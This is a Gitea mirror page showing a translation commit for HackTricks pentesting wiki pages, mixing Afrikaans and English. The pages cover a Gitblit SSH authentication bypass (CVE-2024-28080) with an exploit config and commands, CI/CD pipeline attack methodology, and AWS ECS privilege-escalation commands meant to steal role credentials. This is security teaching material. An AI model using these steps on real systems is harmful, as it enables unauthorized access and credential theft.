gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2025-12-09 14:20:48 -08:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat

Browse Source
This commit is contained in:
Translator
2025-09-04 23:47:45 +00:00
parent ea2f64eae5
commit aa433fe0e5
4 changed files with 121 additions and 121 deletions
Download Patch File Download Diff File Expand all files Collapse all files

2
src/pentesting-ci-cd/gitblit-security/README.md
View File

@@ -16,6 +16,6 @@ gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md
## Verwysings
- [Gitblit-projek](https://gitblit.com/)
- [Gitblit project](https://gitblit.com/)
{{#include ../../banners/hacktricks-training.md}}

78
src/pentesting-ci-cd/gitblit-security/gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md
View File

@@ -4,36 +4,36 @@
## Opsomming
CVE-2024-28080 is 'n verifikasie-omseiling in Gitblit se embedded SSH-diens weens verkeerde sessie‑toestand hantering wanneer dit met Apache MINA SSHD geïntegreer word. As 'n gebruikersrekening ten minste een SSH publieke sleutel geregistreer het, kan 'n aanvaller wat die gebruikersnaam en enigeen van daardie gebruiker se publieke sleutels ken, outentikeer sonder die privaat sleutel en sonder die wagwoord.
CVE-2024-28080 is 'n authentication bypass in Gitblit’s embedded SSH service as gevolg van verkeerde hantering van sessie state tydens integrasie met Apache MINA SSHD. Indien 'n gebruikersrekening ten minste een SSH publieke sleutel geregistreer het, kan 'n aanvaller wat die gebruikersnaam en enige van daardie gebruiker se publieke sleutels ken, verifieer sonder die private sleutel en sonder die wagwoord.
- Affected: Gitblit < 1.10.0 (observed on 1.9.3)
- Fixed: 1.10.0
- Vereistes om te benut:
- Git over SSH aangeskakel op die instance
- Slagoffer rekening het ten minste een SSH publieke sleutel in Gitblit geregistreer
- Aanvaller ken slagoffer se gebruikersnaam en een van hul publieke sleutels (vaak opspoorbaar, bv. https://github.com/<username>.keys)
- Geaffekteer: Gitblit < 1.10.0 (waargenome op 1.9.3)
- Reggestel: 1.10.0
- Vereistes om te misbruik:
- Git oor SSH geaktiveer op die instansie
- Slagofferrekening het ten minste een SSH publieke sleutel in Gitblit geregistreer
- Aanvaller ken die slagoffer se gebruikersnaam en een van hul publieke sleutels (dikwels ontdekbaar, bv. https://github.com/<username>.keys)
## Oorsaak (state leaks tussen SSH-metodes)
## Root cause (state leaks tussen SSH methods)
In RFC 4252 verloop publieke‑sleutel‑verifikasie in twee fases: die bediener kontroleer eers of 'n verskafte publieke sleutel aanvaarbaar is vir 'n gebruikersnaam, en eers ná 'n challenge/response met 'n handtekening verifikasie word die gebruiker geauthentiseer. In MINA SSHD word die PublickeyAuthenticator twee keer aangeroep: by sleutel‑aanvaarding (nog geen handtekening nie) en later nadat die kliënt 'n handtekening teruggekeer het.
In RFC 4252 verloop public‑key authentication in twee fases: die bediener kontroleer eers of 'n voorsiene publieke sleutel aanvaarbaar is vir 'n gebruikersnaam, en slegs ná 'n challenge/response met 'n handtekening verifieer dit die gebruiker. In MINA SSHD word die PublickeyAuthenticator twee keer aangeroep: by sleutelacceptasie (nog geen handtekening) en later nadat die kliënt 'n handtekening terugstuur.
Gitblit se PublickeyAuthenticator het die sessie‑konteks gemuteer tydens die eerste, voor‑handtekening oproep deur die geauthentikeerde UserModel aan die sessie te bind en true terug te gee ("key acceptable"). Wanneer verifikasie later na wagwoord terugval, het die PasswordAuthenticator daardie gemuteerde sessie‑toestand vertrou en kortgesluit, en true teruggegee sonder om die wagwoord te valideer. Gevolglik is enige wagwoord (insluitend leë) aanvaar ná 'n vorige publieke‑sleutel "aanvaarding" vir dieselfde gebruiker.
Gitblit’s PublickeyAuthenticator gemuteer die sessiekonteks in die eerste, pre‑signature oproep deur die geverifieerde UserModel aan die sessie te bind en true terug te gee ("key acceptable"). Wanneer authentication later terugval na wagwoord, vertrou die PasswordAuthenticator daardie gemuteerde sessiestaat en kortsluit, en gee true terug sonder om die wagwoord te valideer. Gevolglik is enige wagwoord (insluitend leeg) aanvaar ná 'n vorige public‑key "acceptance" vir dieselfde gebruiker.
Hoëvlak foutiewe vloei:
Hoëvlak gebrekkige vloei:
1) Kliënt bied gebruikersnaam + publieke sleutel aan (nog geen handtekening nie)
2) Bediener herken die sleutel as deel van die gebruiker en heg voortydig die gebruiker aan die sessie, gee true terug ("aanvaarbaar")
3) Kliënt kan nie teken nie (geen privaat sleutel), so verifikasie val terug na wagwoord
4) Wagwoordverifikasie sien 'n gebruiker reeds in die sessie en gee onvoorwaardelik sukses terug
1) Client bied gebruikersnaam + public key aan (nog geen handtekening)
2) Server herken die sleutel as van die gebruiker en heg voortydig die gebruiker aan die sessie, gee true terug ("acceptable")
3) Client kan nie teken nie (geen private sleutel), dus val auth terug na wagwoord
4) Password auth sien 'n gebruiker reeds in die sessie en gee onvoorwaardelik sukses terug
## Stap‑vir‑stap uitbuiting
- Versamel 'n slagoffer se gebruikersnaam en een van hul publieke sleutels:
- GitHub openbaar publieke sleutels by https://github.com/<username>.keys
- Publieke bedieners openbaar dikwels authorized_keys
- Konfigureer OpenSSH om slegs die publieke helfte voor te sit sodat handtekeninggenerasie misluk, wat 'n terugval na wagwoord afdwing terwyl dit steeds die publieke‑sleutel aanvaardingspad op die bediener aktiveer.
- Openbare bedieners openbaar dikwels authorized_keys
- Konfigureer OpenSSH om slegs die publieke helfte te bied sodat handtekeninggenerering misluk, wat 'n terugval na wagwoord afdwing terwyl die public‑key acceptance pad op die bediener steeds getrigger word.
Voorbeeld SSH kliënt konfigurasie (geen privaat sleutel beskikbaar):
Voorbeeld SSH client config (geen private sleutel beskikbaar):
```sshconfig
# ~/.ssh/config
Host gitblit-target
@@ -44,27 +44,27 @@ PreferredAuthentications publickey,password
IdentitiesOnly yes
IdentityFile ~/.ssh/victim.pub # public half only (no private key present)
```
Verbind en druk Enter by die wagwoordprompt (of tik enige tekenreeks):
Verbind en druk Enter by die wagwoordprompt (of tik enige string):
```bash
ssh gitblit-target
# or Git over SSH
GIT_SSH_COMMAND="ssh -F ~/.ssh/config" git ls-remote ssh://<victim-username>@<host>/<repo.git>
```
Authentication slaag omdat die vroeëre public‑key‑fase die sessie na 'n geverifieerde gebruiker verander het, en password auth vertrou verkeerdelik daardie toestand.
Authentication slaag omdat die vroeëre public‑key fase die sessie na 'n authenticated user gemuteer het, en password auth daardie status verkeerdelik vertrou.
Note: If ControlMaster multiplexing is enabled in your SSH config, subsequent Git commands may reuse the authenticated connection, increasing impact.
## Impact
- Volledige identiteitsbedrog van enige Gitblit‑gebruiker met ten minste een geregistreerde SSH public key
- Lees/skryf‑toegang tot repositories volgens die slagoffer se regte (bron‑exfiltrasie, ongemagtigde pushes, supply‑chain‑risiko's)
- Potensiële administratiewe impak as 'n admin‑gebruiker geteiken word
- Suiwer netwerk‑exploit; geen brute force of private key benodig nie
- Volledige impersonasie van enige Gitblit‑gebruiker met ten minste een geregistreerde SSH public key
- Read/write access to repositories per victim’s permissions (source exfiltration, unauthorized pushes, supply‑chain risks)
- Potensiële administratiewe impak as 'n admin user geteiken word
- Pure network exploit; geen brute force of private key benodig
## Detection ideas
- Hersien SSH‑logs vir reekse waar 'n publickey‑poging gevolg word deur 'n suksesvolle password‑authentikasie met 'n leë of baie kort wagwoord
- Soek vir vloei: publickey‑metode wat onondersteunde/nie‑ooreenstemmende sleutelmateriaal aanbied, gevolg deur 'n onmiddellike password‑sukses vir dieselfde gebruikersnaam
- Review SSH logs for sequences where a publickey attempt is followed by a successful password authentication with an empty or very short password
- Look for flows: publickey method offering unsupported/mismatched key material followed by immediate password success for the same username
## Mitigations
@@ -77,23 +77,23 @@ Note: If ControlMaster multiplexing is enabled in your SSH config, subsequent Gi
## General: abusing SSH auth method state‑leakage (MINA/OpenSSH‑based services)
Patroon: As 'n bediener se public‑key authenticator die gebruiker/sessie‑toestand verander tydens die pre‑signature "key acceptable" fase en ander authenticators (bv. password) daardie toestand vertrou, kan jy verifikasie omseil deur:
Pattern: If a server’s public‑key authenticator mutates user/session state during the pre‑signature "key acceptable" phase and other authenticators (e.g., password) trust that state, you can bypass authentication by:
- Voorsien 'n geldige public key vir die teiken‑gebruiker (geen private key nie)
- Verplig die kliënt om ondertekening te laat misluk sodat die bediener op password terugval
- Verskaf enige password terwyl die password authenticator kort‑sluiting maak op leaked state
- Presenting a legitimate public key for the target user (no private key)
- Forcing the client to fail signing so the server falls back to password
- Supplying any password while the password authenticator short‑circuits on leaked state
Praktiese wenke:
Practical tips:
- Public key harvesting at scale: trek public keys uit algemene bronne soos https://github.com/<username>.keys, organisasiedirektore, spanbladsye, leaked authorized_keys
- Forcing signature failure (client‑side): wys IdentityFile slegs na die .pub, stel IdentitiesOnly yes, hou PreferredAuthentications om publickey en dan password in te sluit
- MINA SSHD integrasie valkuils:
- PublickeyAuthenticator.authenticate(...) moet nie gebruiker/sessie‑toestand heg nie totdat die post‑signature verifikasie‑pad die handtekening bevestig
- PasswordAuthenticator.authenticate(...) moet nie sukses aflei uit enige toestand wat tydens 'n vorige, onvolledige authentication‑metode verander is nie
- Public key harvesting at scale: pull public keys from common sources such as https://github.com/<username>.keys, organizational directories, team pages, leaked authorized_keys
- Forcing signature failure (client‑side): point IdentityFile to only the .pub, set IdentitiesOnly yes, keep PreferredAuthentications to include publickey then password
- MINA SSHD integration pitfalls:
- PublickeyAuthenticator.authenticate(...) must not attach user/session state until the post‑signature verification path confirms the signature
- PasswordAuthenticator.authenticate(...) must not infer success from any state mutated during a prior, incomplete authentication method
Gekoppelde protokol/ontwerp notas en literatuur:
- SSH userauth‑protokol: RFC 4252 (publickey‑metode is 'n twee‑stadium proses)
- Historiese besprekings oor vroeë aanvaarding‑orakels en auth‑races, bv. CVE‑2016‑20012‑gesprekke oor OpenSSH‑gedrag
Related protocol/design notes and literature:
- SSH userauth protocol: RFC 4252 (publickey method is a two‑stage process)
- Historical discussions on early acceptance oracles and auth races, e.g., CVE‑2016‑20012 disputes around OpenSSH behavior
## References

92
src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
View File

@@ -1,4 +1,4 @@
# Pentesting CI/CD Methodology
# Pentesting CI/CD Metodologie
{{#include ../banners/hacktricks-training.md}}
@@ -6,7 +6,7 @@
## VCS
VCS staan vir weergawebeheerstelsel (Version Control System); hierdie stelsels laat ontwikkelaars toe om hul bronkode te bestuur. Die mees algemene is **git** en jy sal gewoonlik maatskappye vind wat dit op een van die volgende **platforms** gebruik:
VCS staan vir **Version Control System**, hierdie stelsels laat ontwikkelaars toe om **hul bronkode te bestuur**. Die algemeenste is **git** en gewoonlik sal maatskappye dit op een van die volgende **platforms** gebruik:
- Github
- Gitlab
@@ -18,81 +18,81 @@ VCS staan vir weergawebeheerstelsel (Version Control System); hierdie stelsels l
## CI/CD Pipelines
CI/CD pipelines stel ontwikkelaars in staat om die uitvoering van kode te outomatiseer vir verskeie doeleindes, insluitende build, testing en deployment van toepassings. Hierdie geoutomatiseerde workflows word **getrigger deur spesifieke aksies**, soos code pushes, pull requests, of geskeduleerde take. Hulle help om die proses van development na production te stroomlyn.
CI/CD pipelines stel ontwikkelaars in staat om die uitvoering van kode te **outomatiseer** vir verskeie doeleindes, insluitend bou, toetsing en uitrol van toepassings. Hierdie outomatiese workflows word **geaktiveer deur spesifieke aksies**, soos code pushes, pull requests of geskeduleerde take. Hulle help om die proses van ontwikkeling na produksie te stroomlyn.
Hierdie stelsels moet egter **eers ergens uitgevoer word** en gewoonlik met **bevoorregte credentials om kode te deploy of sensitiewe inligting te bereik**.
Hierdie stelsels moet egter **êrens uitgevoer word** en gewoonlik met **geprivilegieerde inlogbewyse om kode te deploy of toegang tot sensitiewe inligting te kry**.
## VCS Pentesting Methodology
## VCS Pentesting Metodologie
> [!NOTE]
> Selfs al laat sommige VCS platforms toe om pipelines te skep, gaan ons in hierdie afdeling slegs potensiële aanvalle ontleed wat op die beheer van die bronkode fokus.
> Selfs al laat sommige VCS-platforms toe om pipelines te skep, gaan ons in hierdie afdeling slegs potensiële aanvalle op die beheer van die bronkode ontleed.
Platforms wat die bronkode van jou projek bevat huisves sensitiewe inligting en mense moet baie versigtig wees met die permissies wat binne hierdie platform toegestaan word. Dit is 'n paar algemene probleme oor VCS platforms wat 'n aanvaller kan misbruik:
Platforme wat die bronkode van jou projek huisves, bevat sensitiewe inligting en mense moet baie versigtig wees met die permissies wat binne hierdie platform toegeken word. Dit is 'n paar algemene probleme oor VCS-platforms wat 'n aanvaller kan misbruik:
- **Leaks**: As jou kode leak(s) in die commits bevat en die aanvaller toegang tot die repo het (omdat dit public is of omdat hy toegang het), kan hy die leak(s) ontdek.
- **Access**: As 'n aanvaller **toegang tot 'n rekening binne die VCS platform** kan kry, kan hy **meer sigbaarheid en permissies** verkry.
- **Register**: Sommige platforms sal net toelaat dat eksterne gebruikers 'n rekening skep.
- **SSO**: Sommige platforms sal gebruikers nie toelaat om te registreer nie, maar sal enigiemand met 'n geldige SSO toegang gee (sodat 'n aanvaller byvoorbeeld sy github-rekening kan gebruik om in te gaan).
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... daar is verskeie soorte tokens wat 'n gebruiker kan steel om op een of ander manier toegang tot 'n repo te kry.
- **Webhooks**: VCS platforms laat toe om webhooks te genereer. As hulle **nie beskerm** is met nie-sigbare secrets nie, **kan 'n aanvaller dit misbruik**.
- As geen geheim (secret) in plek is nie, kan die aanvaller die webhook van die derdeparty platform misbruik.
- As die secret in die URL is, gebeur dieselfde en die aanvaller het ook die secret.
- **Code compromise:** As 'n kwaadwillige akteur sekere vorme van **write** toegang oor die repos het, kan hy probeer om **malscode in te inspuit**. Om suksesvol te wees kan hy nodig hê om **branch protections te omseil**. Hierdie aksies kan met verskillende doelwitte uitgevoer word:
- Kompromiseer die main branch om **production te kompromitteer**.
- Kompromiseer die main (of ander branches) om **ontwikkelaars se masjiene te kompromitteer** (aangesien hulle gewoonlik tests, terraform of ander dinge vanuit die repo op hul masjiene uitvoer).
- **Compromise the pipeline** (kyk volgende afdeling)
- **Leaks**: As jou kode leaks in die commits bevat en die aanvaller toegang tot die repo het (omdat dit publiek is of omdat hy toegang het), kan hy die leaks ontdek.
- **Access**: As 'n aanvaller toegang tot 'n rekening binne die VCS-platform kry, kan hy **meer sigbaarheid en permissies** bekom.
- **Register**: Sommige platforme sal bloot eksterne gebruikers toelaat om 'n rekening te skep.
- **SSO**: Sommige platforme laat nie gebruikers toe om te registreer nie, maar laat enigiemand toe om aan te meld met 'n geldige SSO (so 'n aanvaller kan byvoorbeeld sy GitHub-rekening gebruik om toegang te kry).
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... daar is verskeie soorte tokens wat 'n gebruiker kan steel om op een of ander manier by 'n repo in te teken.
- **Webhooks**: VCS-platforms laat toe om webhooks te genereer. As hulle **nie beskerm** is met nie-sigbare secrets nie, **kan 'n aanvaller dit misbruik**.
- If no secret is in place, the attacker could abuse the webhook of the third party platform
- If the secret is in the URL, the same happens and the attacker also have the secret
- **Code compromise:** As 'n kwaadwillige akteur enige soort **write** toegang oor die repos het, kan hy probeer om **skadelike kode te inject**. Om sukses te hê, mag hy die **branch protections** moet omseil. Hierdie aksies kan met verskillende doelwitte uitgevoer word:
- Kompromiseer die main branch om **produksie te compromise**.
- Kompromiseer die main (of ander branches) om **ontwikkelaars se masjiene te kompromitteer** (aangesien hulle gewoonlik toetse, terraform of ander take binne die repo op hul masjiene uitvoer).
- **Compromise the pipeline** (check next section)
## Pipelines Pentesting Methodology
## Pipelines Pentesting Metodologie
Die mees algemene manier om 'n pipeline te definieer, is deur 'n **CI configuration file gehost in die repository** te gebruik wat die pipeline bou. Hierdie lêer beskryf die volgorde van uitgevoerde jobs, voorwaardes wat die vloei beïnvloed, en build-omgewinginstellings.\
Hierdie lêers het tipies 'n konsekwente naam en formaat, byvoorbeeld — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), en die GitHub Actions YAML-lêers onder .github/workflows. Wanneer dit getrigger word, die pipeline job **pulls the code** van die gekose bron (bv. commit / branch), en **voer die opdragte wat in die CI configuration file gespesifiseer is uit** teen daardie kode.
Die mees algemene manier om 'n pipeline te definieer, is deur 'n **CI configuration file hosted in the repository** wat die pipeline bou. Hierdie lêer beskryf die volgorde van uitgevoerde jobs, kondisies wat die vloei beïnvloed, en bou-omgewing instellings.\
Hierdie lêers het tipies 'n konsekwente naam en formaat, byvoorbeeld — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), en die GitHub Actions YAML-lêers onder .github/workflows. Wanneer dit geaktiveer word, die pipeline job **pulls the code** vanaf die gekose bron (bv. commit / branch), en **runs the commands specified in the CI configuration file** teen daardie kode.
Dus is die uiteindelike doel van die aanvaller om op een of ander manier daardie configuration files of die opdragte wat hulle uitvoer, te **kompromiseer**.
Dus is die uiteindelike doel van die aanvaller om op een of ander manier daardie configuration files of die commands wat hulle uitvoer, te **kompromiseer**.
### PPE - Poisoned Pipeline Execution
Die Poisoned Pipeline Execution (PPE) pad misbruik permissies in 'n SCM repository om 'n CI pipeline te manipuleer en skadelike opdragte uit te voer. Gebruikers met die nodige permissies kan CI configuration files of ander lêers wat deur die pipeline job gebruik word, wysig om kwaadwillige opdragte in te sluit. Dit "vergiftig" die CI pipeline, wat lei tot die uitvoering van daardie kwaadwillige opdragte.
Die Poisoned Pipeline Execution (PPE) pad misbruik permissies in 'n SCM repository om 'n CI pipeline te manipuleer en skadelike commands uit te voer. Gebruikers met die nodige permissies kan CI configuration files of ander lêers wat deur die pipeline job gebruik word, wysig om kwaadwillige commands in te sluit. Dit “vergiftig” die CI pipeline, wat lei tot die uitvoering van daardie kwaadwillige commands.
Vir 'n kwaadwillige akteur om suksesvol 'n PPE-aanval uit te voer, moet hy in staat wees om:
- Skryf toegang tot die VCS platform te hê, aangesien pipelines gewoonlik getrigger word wanneer 'n push of 'n pull request uitgevoer word. (Kyk die VCS pentesting methodology vir 'n opsomming van maniere om toegang te kry).
- Let daarop dat soms 'n **eksterne PR as "write access" beskou kan word**.
- Selfs as hy write permissions het, moet hy seker maak dat hy die **CI config file of ander lêers waarvan die config afhanklik is, kan wysig**.
- Hiervoor mag hy nodig hê om **branch protections te omseil**.
- Wees in besit van **write access to the VCS platform**, aangesien pipelines gewoonlik geaktiveer word wanneer 'n push of 'n pull request uitgevoer word. (Kyk die VCS pentesting metodologie vir 'n opsomming van maniere om toegang te kry).
- Let daarop dat soms 'n **external PR** as "write access" tel.
- Selfs as hy write permissions het, moet hy seker maak dat hy die **CI config file of ander lêers waarop die config staatmaak** kan wysig.
- Hiervoor mag hy die **branch protections** moet kan omseil.
Daar is 3 PPE-variante:
Daar is 3 PPE flavours:
- **D-PPE**: 'n **Direct PPE**-aanval vind plaas wanneer die akteur die **CI config** lêer wysig wat uitgevoer gaan word.
- **I-DDE**: 'n **Indirect PPE**-aanval vind plaas wanneer die akteur 'n **lêer** wysig waarop die CI config lêer staatmaak (soos 'n make file of 'n terraform config).
- **Public PPE or 3PE**: In sommige gevalle kan die pipelines **getrigger word deur gebruikers wat nie write access in die repo het nie** (en wat dalk nie eens deel van die org is nie) omdat hulle 'n PR kan stuur.
- **3PE Command Injection**: Gewoonlik stel CI/CD pipelines **environment variables** met **inligting oor die PR**. As daardie waarde deur 'n aanvaller beheer kan word (soos die titel van die PR) en dit **gebruik** word op 'n **gevaarlike plek** (soos om **sh commands** uit te voer), kan 'n aanvaller **opdragte daarin injekteer**.
- **D-PPE**: 'n **Direct PPE** aanval gebeur wanneer die akteur die **CI config** lêer wysig wat uitgevoer gaan word.
- **I-DDE**: 'n **Indirect PPE** aanval gebeur wanneer die akteur 'n **lêer wysig** waarop die CI config lêer vertrou (soos 'n make file of 'n terraform config).
- **Public PPE or 3PE**: In sommige gevalle kan pipelines **geaktiveer word deur gebruikers wat geen write access tot die repo het nie** (en wat moontlik nie eens deel van die org is nie) omdat hulle 'n PR kan stuur.
- **3PE Command Injection**: Gewoonlik stel CI/CD pipelines **environment variables** met **inligting oor die PR**. As daardie waarde deur 'n aanvaller beheer kan word (soos die titel van die PR) en in 'n **gevaarlike plek** gebruik word (bv. by die uitvoering van **sh commands**), kan 'n aanvaller **commands daarin inject**.
### Exploitation Benefits
Met die kennis van die 3 variante om 'n pipeline te vergiftig, kom ons kyk wat 'n aanvaller na 'n suksesvolle exploit kan bekom:
As ons die 3 flavours ken om 'n pipeline te vergiftig, kom ons kyk watter voordele 'n aanvaller uit 'n suksesvolle uitbuiting kan trek:
- **Secrets**: Soos voorheen genoem, benodig pipelines **privileges** vir hul jobs (kode retrieve, build, deploy …) en hierdie privileges word gewoonlik **geberg as secrets**. Hierdie secrets is tipies toeganklik via **env variables of lêers binne die stelsel**. Daarom sal 'n aanvaller altyd probeer om soveel secrets as moontlik te exfiltrate.
- Afhangend van die pipeline platform mag die aanvaller **die secrets in die config moet spesifiseer**. Dit beteken dat as die aanvaller die CI configuration pipeline nie kan wysig nie (**I-PPE** byvoorbeeld), hy **slegs die secrets kan exfiltrate wat daardie pipeline het**.
- **Computation**: Die kode word iewers uitgevoer; afhangend waar dit uitgevoer word, kan 'n aanvaller verder kan pivoteer.
- **On-Premises**: As die pipelines on-premises uitgevoer word, kan 'n aanvaller in 'n **interne netwerk met toegang tot meer hulpbronne** eindig.
- **Cloud**: Die aanvaller kan toegang tot **ander masjiene in die cloud** kry, maar kan ook IAM roles/service accounts **tokens** exfiltrate om **verdere toegang binne die cloud** te verkry.
- **Platforms machine**: Soms sal die jobs binne die **pipelines platform masjiene** uitgevoer word, wat gewoonlik binne 'n cloud sit met **geen addisionele toegang nie**.
- **Select it:** Soms het die **pipelines platform verskeie masjiene gekonfigureer** en as jy die **CI configuration file** kan wysig, kan jy **indikeer waar jy die kwaadwillige kode wil laat loop**. In daardie geval sal 'n aanvaller waarskynlik 'n reverse shell op elke moontlike masjien probeer laat loop om verdere eksploitasie te probeer.
- **Compromise production**: As jy in die pipeline is en die finale weergawe daar gebou en deployed word, kan jy die kode wat uiteindelik in production sal loop, **kompromiseer**.
- **Secrets**: Soos voorheen genoem, vereis pipelines **privileges** vir hul jobs (kode ophaal, bou, deploy, ens.) en hierdie privileges word gewoonlik in **secrets** gehou. Hierdie secrets is tipies toeganklik via **env variables of lêers binne die stelsel**. Daarom sal 'n aanvaller altyd probeer om soveel secrets as moontlik te eksfiltreer.
- Afhangend van die pipeline platform mag die aanvaller **moet spesifiseer watter secrets in die config is**. Dit beteken dat as die aanvaller nie die CI configuration pipeline kan wysig nie (**I-PPE** byvoorbeeld), hy slegs die secrets wat daardie pipeline het, kan eksfiltreer.
- **Computation**: Die kode word êrens uitgevoer; afhangend van waar dit uitgevoer word, kan 'n aanvaller verder kan pivot.
- **On-Premises**: As die pipelines on-premises uitgevoer word, kan 'n aanvaller binnekant 'n **interne netwerk met toegang tot meer hulpbronne** beland.
- **Cloud**: Die aanvaller kan toegang kry tot **ander masjiene in die cloud**, maar ook IAM roles/service accounts **tokens** eksfiltreer om verdere toegang in die cloud te kry.
- **Platforms machine**: Soms word jobs in die **pipelines platform machines** uitgevoer, wat gewoonlik in 'n cloud is met **geen verdere toegang**.
- **Select it:** Soms het die **pipelines platform verskeie masjiene gekonfigureer** en as jy die **CI configuration file kan wysig**, kan jy aandui waar jy die skadelike kode wil laat loop. In daardie situasie sal 'n aanvaller waarskynlik 'n reverse shell op elke moontlike masjien hardloop om verdere eksploitasie te probeer.
- **Compromise production**: As jy binne die pipeline is en die finale weergawe vanaf dit gebou en uitgerol word, kan jy die kode wat uiteindelik in produksie gaan hardloop, **kompromiseer**.
## More relevant info
## Meer relevante inligting
### Tools & CIS Benchmark
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) is 'n open-source hulpmiddel om jou software supply chain stack te oudit vir sekuriteitskompliance gebaseer op die nuwe [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Die oudit fokus op die hele SDLC-proses, waar dit risiko's van kode tyd tot deploy tyd kan openbaar.
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) is 'n open-source hulpmiddel om jou software supply chain stack te oudit vir sekuriteit-nakomingsdoeleindes gebaseer op 'n nuwe [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Die oudit fokus op die hele SDLC-proses, waar dit risiko's van code-tyd tot deploy-tyd kan blootlê.
### Top 10 CI/CD Security Risk
Kyk hierdie interessante artikel oor die top 10 CI/CD risiko's volgens Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
Kyk na hierdie interessante artikel oor die top 10 CI/CD-risiko's volgens Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
### Labs
- Op elke platform wat jy lokaal kan laat loop, sal jy vind hoe om dit lokaal te loods sodat jy dit kan konfigureer soos jy wil toets.
- Op elke platform wat jy lokaal kan laat loop, sal jy vind hoe om dit lokaal te begin sodat jy dit kan konfigureer soos jy wil om te toets
- Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
### Automatic Tools

70
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md
View File

@@ -12,7 +12,7 @@ Meer **inligting oor ECS** in:
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
'n aanvaller wat misbruik maak van die `iam:PassRole`, `ecs:RegisterTaskDefinition` en `ecs:RunTask` toestemming in ECS kan **generate a new task definition** met 'n **malicious container** wat die metadata credentials steel en dit **run it**.
'n Aanvaller wat misbruik maak van die `iam:PassRole`, `ecs:RegisterTaskDefinition` en `ecs:RunTask` toestemmings in ECS kan **'n nuwe task definition genereer** met 'n **kwaadwillige container** wat die metadata-aanmeldbewyse steel en dit **uitvoer**.
{{#tabs }}
{{#tab name="Reverse Shell" }}
@@ -39,7 +39,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
{{#tab name="Webhook" }}
Skep 'n webhook op 'n diens soos webhook.site
Skep 'n webhook met 'n site soos webhook.site
```bash
# Create file container-definition.json
@@ -75,19 +75,19 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
{{#endtabs }}
**Potensiële impak:** Direkte privesc na 'n ander ECS-rol.
**Potential Impact:** Direkte privesc na 'n ander ECS role.
### `iam:PassRole`,`ecs:RunTask`
An attacker wat `iam:PassRole` en `ecs:RunTask` permissies het, kan 'n nuwe ECS taak begin met gemodifiseerde **execution role**, **task role** en die houer se **command**-waardes. Die `ecs run-task` CLI-opdrag bevat die `--overrides` vlag wat dit toelaat om tydens runtime die `executionRoleArn`, `taskRoleArn` en die houer se `command` te verander sonder om die task definition aan te raak.
'n Aanvaller wat `iam:PassRole` en `ecs:RunTask` toestemmings het, kan 'n nuwe ECS task begin met gewysigde **execution role**, **task role** en die container se **command** waardes. Die `ecs run-task` CLI-opdrag bevat die `--overrides` vlag wat toelaat om tydens uitvoering die `executionRoleArn`, `taskRoleArn` en die container se `command` te verander sonder om die task definition aan te raak.
Die gespesifiseerde IAM rolle vir `taskRoleArn` en `executionRoleArn` moet in hul trust policy vertrou/toegelaat word om deur `ecs-tasks.amazonaws.com` aangeneem te word.
Die gespesifiseerde IAM-rolle vir `taskRoleArn` en `executionRoleArn` moet in hul trust policy toelaat dat hulle deur `ecs-tasks.amazonaws.com` aangeneem kan word.
Verder moet die attacker die volgende weet:
- ECS-klusternaam
- VPC-subnet
- Security group (As geen security group gespesifiseer is nie, sal die verstek een gebruik word)
- Task Definition naam en revisie
- Naam van die Container
Die aanvaller moet ook weet:
- ECS cluster name
- VPC Subnet
- Security group (If no security group is specified the default one will be used)
- Task Definition Name and revision
- Name of the Container
```bash
aws ecs run-task \
--cluster <cluster-name> \
@@ -105,9 +105,9 @@ aws ecs run-task \
]
}'
```
In die kodefragment hierbo skryf 'n attacker slegs die `taskRoleArn`-waarde oor. Die attacker moet egter die `iam:PassRole`-toestemming hê oor die `taskRoleArn` wat in die opdrag gespesifiseer is en oor die `executionRoleArn` wat in die taakdefinisie gespesifiseer is, vir die attack om plaas te vind.
In die kodefragmens hierbo oorskryf 'n aanvaller slegs die `taskRoleArn`-waarde. Die aanvaller moet egter die `iam:PassRole`-toestemming hê oor die `taskRoleArn` wat in die opdrag gespesifiseer is en die `executionRoleArn` wat in die taakdefinisie gespesifiseer is, sodat die aanval kan plaasvind.
As die IAM-role wat die attacker kan pass voldoende voorregte het om 'n ECR-image te pull en die ECS-task te begin (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`) dan kan die attacker dieselfde IAM-role spesifiseer vir beide `executionRoleArn` en `taskRoleArn` in die `ecs run-task`-opdrag.
As die IAM role wat die aanvaller kan deurgee genoeg bevoegdhede het om 'n ECR image te pull en die ECS taak te begin (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`) kan die aanvaller dieselfde IAM role spesifiseer vir beide `executionRoleArn` en `taskRoleArn` in die `ecs run-task` opdrag.
```sh
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
{
